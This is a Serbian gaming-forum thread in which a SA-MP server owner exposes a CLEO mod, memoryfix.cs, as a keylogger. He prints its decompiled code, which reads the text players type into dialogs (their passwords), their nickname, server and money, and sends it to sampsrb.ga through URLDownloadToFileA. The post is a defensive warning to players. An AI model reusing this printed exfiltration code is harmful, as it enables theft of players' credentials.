Locked UPOZORENJE!!! Po 5000-put!!!!

[Deity]

*DEITY'Tutorial part 1*

Pozdrav svima,

Kao sto ste i sami primetili, velika je drama kako se "NEKIM" liderima upada na acc, i posle vasih silnih kako je nas server "BUSAN" i kako se lako "HAKUJU" sifre ( jos da znate sta znaci hack termin bilo bi super ), mislim da sam nasao donekle parcijalno resenje kako vam upadaju na acc-ove i kako su dosli do vase sifre.

Evo uzecemo primer cleo skripte takozvane memoryfix.cs , koja je danas toliko popularna, koja "boost" sta god ili sta vec radi, ne znam ko ima problem sa fps u 2019 ali ajde.

I sada, kada dekriptujemo ovu skripticu, vama to nista ne znaci jel te, videcete ovako nesto

61 6d 65 6e 74 5f 46 6c 61 67 00 79 00 00 00 44
41 4e 43 45 5f 41 4e 49 4d 00 b3 14 00 00 44 41
4e 43 45 5f 41 4e 49 4d 5f 49 46 50 00 bb 14 00
00 44 41 4e 43 45 5f 53 43 4f 52 45 00 b0 14 00
00 44 45 46 41 55 4c 54 5f 57 41 49 54 5f 54 49
4d 45 00 0e 00 00 00 44 69 61 6c 6f 67 5f 41 72
72 61 79 5f 53 69 7a 65 00 8e 05 00 00 44 69 61
6c 6f 67 5f 49 6e 64 65 78 00 8d 05 00 00 44 69
61 6c 6f 67 5f 53 75 62 74 69 74 6c 65 73 00 a5
05 00 00 44 69 61 6c 6f 67 5f 57 41 56 00 90 05
00 00 44 69 61 6c 6f 67 5f 57 41 56 5f 49 64 00
8f 05 00 00 44 69 73 74 61 6e 63 65 5f 42 65 74
77 65 65 6e 5f 50 6f 69 6e 74 73 00 44 00 00 00
45 78 70 6f 72 74 5f 43 61 72 73 5f 53 74 61 74
75 73 00 24 04 00 00 45 78 70 6f 72 74 5f 50 72
69 63 65 5f 48 65 61 6c 74 68 5f 4d 75 6c 74 69
70 6c 69 65 72 00 a4 04 00 00 45 78 70 6f 72 74
5f 50 72 69 63 65 5f 4d 75 6c 74 69 70 6c 69 65
72 00 a3 04 00 00 66 6c 61 67 5f 41 4d 4d 55 5f
53 65 6c 6c 65 72 5f 41 74 74 61 63 6b 5f 50 6c
61 79 65 72 00 6c 25 00 00 66 6c 61 67 5f 50 6c
61 79 65 72 5f 41 74 74 61 63 6b 5f 46 6f 6f 64
5f 53 65 6c 6c 65 72 00 bc 0a 00 00 66 6c 61 67
5f 50 6c 61 79 65 72 5f 49 6e 5f 43 72 61 6e 65
00 76 07 00 00 46 6c 69 67 68 74 5f 53 63 68 6f
6f 6c 5f 42 72 69 65 66 5f 50 6c 61 79 65 64 00
a2 07 00 00 46 6c 69 67 68 74 5f 53 63 68 6f 6f
6c 5f 43 6f 6e 74 65 73 74 73 5f 50 61 73 73 65
64 00 a0 07 00 00 46 6c 69 67 68 74 5f 53 63 68
6f 6f 6c 5f 43 75 72 72 65 6e 74 5f 43 6f 6e 74
65 73 74 00 a1 07 00 00 46 6c 69 67 68 74 5f 53
63 68 6f 6f 6c 5f 49 6e 74 72 6f 5f 46 6c 61 67
00 2a 00 00 00 46 6c 69 67 68 74 5f 53 63 68 6f
6f 6c 5f 52 65 63 6f 72 64 73 00 96 07 00 00 46
4f 4f 44 5f 50 6c 61 79 65 72 5f 41 67 67 72 65
73 73 69 76 65 5f 46 6c 61 67 00 a5 02 00 00 46
6f 6f 64 5f 53 65 6c 6c 65 72 00 30 27 00 00 46
6f 6f 64 5f 53 65 6c 6c 65 72 5f 45 78 69 73 74
73 00 31 27 00 00 46 72 65 65 46 61 6c 6c 5f 53
74 61 67 65 00 e9 05 00 00 47 61 6d 62 6c 65 73
5f 43 61 73 68 57 69 6e 00 47 0d 00 00 47 61 72
61 67 65 5f 42 4f 44 4c 41 57 4e 5f 49 63 6f 6e
00 98 01 00 00 47 61 72 61 67 65 5f 4d 4f 44 4c
41 53 54 5f 49 63 6f 6e 00 9e 01 00 00 47 61 72
61 67 65 5f 54 6f 74 61 6c 5f 50 61 73 73 65 64
5f 4d 69 73 73 69 6f 6e 73 00 1d 02 00 00 47 46
53 45 58 5f 45 78 63 69 74 65 6d 65 6e 74 00 c1
04 00 00 47 46 53 45 58 5f 50 6f 77 65 72 00 c2
04 00 00 47 46 5f 41 6e 69 6d 5f 54 69 6d 65 00
c4 04 00 00 47 46 5f 43 65 6e 73 6f 72 65 5f 46
6c 61 67 00 c3 04 00 00 47 46 5f 57 41 49 54 5f
54 49 4d 45 00 bc 04 00 00 47 69 6d 70 5f 53 75
69 74 5f 41 76 61 69 6c 61 62 6c 65 00 fb 09 00
00 47 69 72 6c 44 6f 6f 72 73 00 da 04 00 00 47
69 72 6c 66 72 69 65 6e 64 00 85 01 00 00 47 6

Naravno, vama ove cifre brojevi nista ne znaci jer je to HEX kod. Ali ja sam se malo pozabavio da debug hex kod,

Pa hajde da vidimo sta rade ove misteriozne cifre i brojke.

"Nhttp:%c%csampsrb.ga%cadd.php?nick=%s&ip=%s:%d&serv=%s&dialog=%d&input=%s&mn=%d///¢"

Hmm, sta je ovo? nick=s(string vaseg imena), ip=%s(ip servera gde se konektujete), server=%s(otkriva ime servera), dialog=%d, uzima ID dialoga koji kucate, e ali ovo je najzanimljive, input=%s(sta kucate u dialogu, znaci ako kucate sifru sacuva se u memoriji vasoj na kompjuteru, kao i sve ostalo sto ste kucali u dialogu , znaci ti glupi "hakeri" od kojih ste skinuli mogli su da vam citaju(tako je i ako ste pisali nekoj hot klinki na sampu videce i to nazalost, what can i say bollocks)).

Okej, super, ispao sam glup i naivan skidao sam skripte od glupih ljudi ali kako su oni ZNALI, morali su negde da imaju moje fajlove da im salje negde ovaj keylogger?

urlmon.dll    ¤
URLDownloadToFileA    ¥
%TEMP%\2352sfe.tmp£

Ovo koliko sam skontao je neki .tmp download fajl koji se storuje u vasem kompu.

B4E: samp 0@ = get_current_dialog_id
0AC8: 6@ = 64
repeat
wait 0
0B4A: samp 6@ = get_current_dialog_editbox_text
until 8B4C: -1  
0AC8: 1@ = 24
0B2B: 2@ = $PLAYER_ACTOR
0B36: samp 1@ = get_player_nickname 2@
wait 500
010B: 2@ = player $PLAYER_CHAR money
0AC8: 3@ = 15
0B39: samp get_current_server_address 3@ port 4@
0AC8: 5@ = 86
0B3A: samp 5@ = get_current_server_name
0C17: 10@ = strlen 6@

Klasican string za uzimanje vaseg novca sa servera, ime, ip adrese, sta menjas, koji dialog kucateg

if 10@ > 1
    then  
    0AC8: 8@ = 445      
    0AD3: 8@ = format "http:%c%csampsrb.ga%cadd.php?nick=%s&ip=%s:%d&serv=%s&dialog=%d&input=%s&mn=%d" params 47 47 47 1@ 3@ 4@ 5@ 0@ 6@ 2@ //A? A±A! Ac AaA®AcA»A·AaA Aµ A­AYA«A1A§A? A�A¨A±A A2A1 A±A«AYA¸A1, A�A®A1A2A¬A3 A2A A¬ ALA¤AY A¤A®A«A¦A­A  A!A»A2A1 A±A«AYA¸A1 A±A2A®A¨A2 %c - A§A­A Aa A§A A�A¨A±A A­A»A© Ac A�A A°A A¬AYA2A°A Aµ. A? A�A A°A A¬AYA2A°A Aµ A¤A«A? AaA A¦A¤A®A© %c A�A°A®A�A¨A±A A­ 47 - A1A2A® A­A®A¬AYA° A±A«AYA¸A . A?A2A A­A¤A A°A2A­A® A±A2A®A¨A2 A A¤A°AYA± http://sampsrb.ga/add.php?[A¤A A«AYAY A¤A A­A­A»AY], A2A Aa AaA Aa A±A! A­AY A«A3A!A¨A2 A±A«AYA¸A1 Ac AaA®AcA»A·AaA Aµ, A2A® A A¤A°AYA± A§A A�A¨A±A A­ A2A Aa http:%c%csampsrb.ga%cadd.php?[A¤A A«AYAY A¤A A­A­A»AY]
    0AA2: 9@ = load_library "urlmon.dll" // IF and SET
    0AA4: 7@ = get_proc_address "URLDownloadToFileA" library 9@ // IF and SET    
    0AA5: call 7@ num_params 5 pop 0 params lpfnCB 0 dwReserved 0 szFileName "%TEMP%\2352sfe.tmp" szUrl 8@ caller 0  

Opaaa, sta je ovo? sampsrb.ga sajt(NE ULAZI), koji sluzi da storuje vase sifre i sve sto ste kucali. sampsrb.ga je domen,add.php je skripta php koja dodaje sve sto ste iskucali, koliko vidim vuce string  nick=%s&ip=%s:%d&serv=%s&dialog=%d&input=%s&mn=%d" , a to je ono gore sto sam naveo.

Zakljucak:  Po 5000 put kao sto rekoh nije problem do servera vec do vas samih, i to vas boli, necete nikad priznati vasu krivicu ali bitno da prozivate Deitya. Jos sam negde cuo kako Deity namerno menja sifra igracima, LOL.

Tako da eto drugari, to vam je tutorial moj kako ne biti glup i naivan i ne kriviti server kad server nikad nece biti kriv, vec ste vi sami krivi uvek, i uvek je tako i bilo, ali nazalost nece mi niko vratiti ova 4 dana cimanja zbog vas.
 

Sta je zalosnije je da se neko bavi hakovanje SAMP accounta u 2019-toj...

500 puta sam napisao da ne skidate nista sa interneta, POGOTOVU Ne sa fejsa, ali eto, pisem zidovima ocigledno

[Doktor]

@Shinde. Pa toe sjajno,i sta da radimo mi koji smo izjebani noćas 00.00 moze li se otkriti ista?

Edited July 3, 2019 by Doktor

[Mackenzi]

svaka cast deity

Samo me zanima sta se desi na ovom sajtu

[Wicked]

Finally neko pametan da objasni ovo sve......

[Eldar_Murtic]

@Shinde. Primjetio sam da upadaju  na acc nekih lidra..Zari nemozes da napravis da se zastiti ip adresa lidera kao sto je kod nekih GameMastera i admina bilo bi dobro ....Hackeri dole.A sve ce se to rijesiti kad tad....

[Guest]

to je to

[Rista.]

Ja samo mogu da kazem hvala i nista drugo, a vi razmislite zasto?  

 

 

( ako ste razmislili skontali ste da je Deity jedini vlasnik koji na sve moguce i nemoguce nacine gleda da skonta problem i da ga objavi i resi za razliku od drugih 'vlasnika' samp zajednica )

Big respect.

[Deity]

Just now, Eldar_Murtic said:

@Shinde. Primjetio sam da upadaju  na acc nekih lidra..Zari nemozes da napravis da se zastiti ip adresa lidera kao sto je kod nekih GameMastera i admina bilo bi dobro ....Hackeri dole.A sve ce se to rijesiti kad tad....

Ne mogu banovati IP jer se menjaju dinamicne, a i ovde nije problem ljudi koji upadaju an acc-ove vec igraca koji skidaju sve i svasta na internet i krive server.

lol.

Obrisi prosto sve cleo sranja i neces nikad biti hakovan, po 50-ti put.

[Codrax_Boss]

Rispect bro.

[Ogyshq]

Deity,kako si ovo provalio,svaka cast

Od sad nista ne skidam vezano za cleo !

Respect

[Koyote.]

18 minutes ago, Shinde. said:

Sta je zalosnije je da se neko bavi hakovanje SAMP accounta u 2019-toj...

To sto upadaju na samp acceve u pola 4....

[Guest Dule]

NEMA NA CEMU SVIM IGRACIMA! HVALA I TEBI DEITY

[Doktor]

[Pixel]

Ma nema šta Deity je Deity... Kad napravi, nema da se kvari♥️

@Shinde.

[Rampage]

Meni je neko promenio sifru na drugom account-u.

[Rista.]

Da li onaj sajt koji si nam slao @Shinde. detektuje ovo ?

[Deity]

Just now, Emil_Popov said:

Da li onaj sajt koji si nam slao @Shinde. detektuje ovo ?

Koji tacno?

 

[Rista.]

1 minute ago, Shinde. said:

Koji tacno?

 

https://haveibeenpwned.com/Passwords

[swagas]

Iskren da budem kada sam procitao sve sam obrisao u kompu sto pocinje na M,nadam se sada da sam siguran.

[Deity]

Just now, Emil_Popov said:

https://haveibeenpwned.com/Passwords

Ne ne, to su koristili za vase emailove ako su provaljeni, ali sad sam konkretno nasao sta je 80% uzroka. 

Uvek clean samp i https://passwordsgenerator.net/ i sifra nikad nece biti hakovana

[Deity]

Just now, Luka_Cvijovic said:

Iskren da budem kada sam procitao sve sam obrisao u kompu sto pocinje na M,nadam se sada da sam siguran.

To je samo primer, moze biti i u modpacku, deaglu, bilo kojoj .cs ili .asi skripti, sto sam ja pricao pre 5 godina ali niko me nije slusao

[Guest Sayan]

@Shinde.

A sta ako sam na mobu usao na ovaj link? 

[Deity]

Just now, Sayan said:

@Shinde.

A sta ako sam na mobu usao na ovaj link? 

Nista, vrv su ti uzeli samo IP Adresu i to je to, nikom nista mogu samo da te ddos al rr router i fixed

[swagas]

Just now, Shinde. said:

To je samo primer, moze biti i u modpacku, deaglu, bilo kojoj .cs ili .asi skripti, sto sam ja pricao pre 5 godina ali niko me nije slusao

Ne ne sada proveravam celi Gta folder nigdje nema memory da pocinje.

[Guest Sayan]

1 minute ago, Shinde. said:

Nista, vrv su ti uzeli samo IP Adresu i to je to, nikom nista mogu samo da te ddos al rr router i fixed

A jel  oni onda mogu vidjet sifre koje kucam za insta,fb i tako te podatke?

Edited July 3, 2019 by Sayan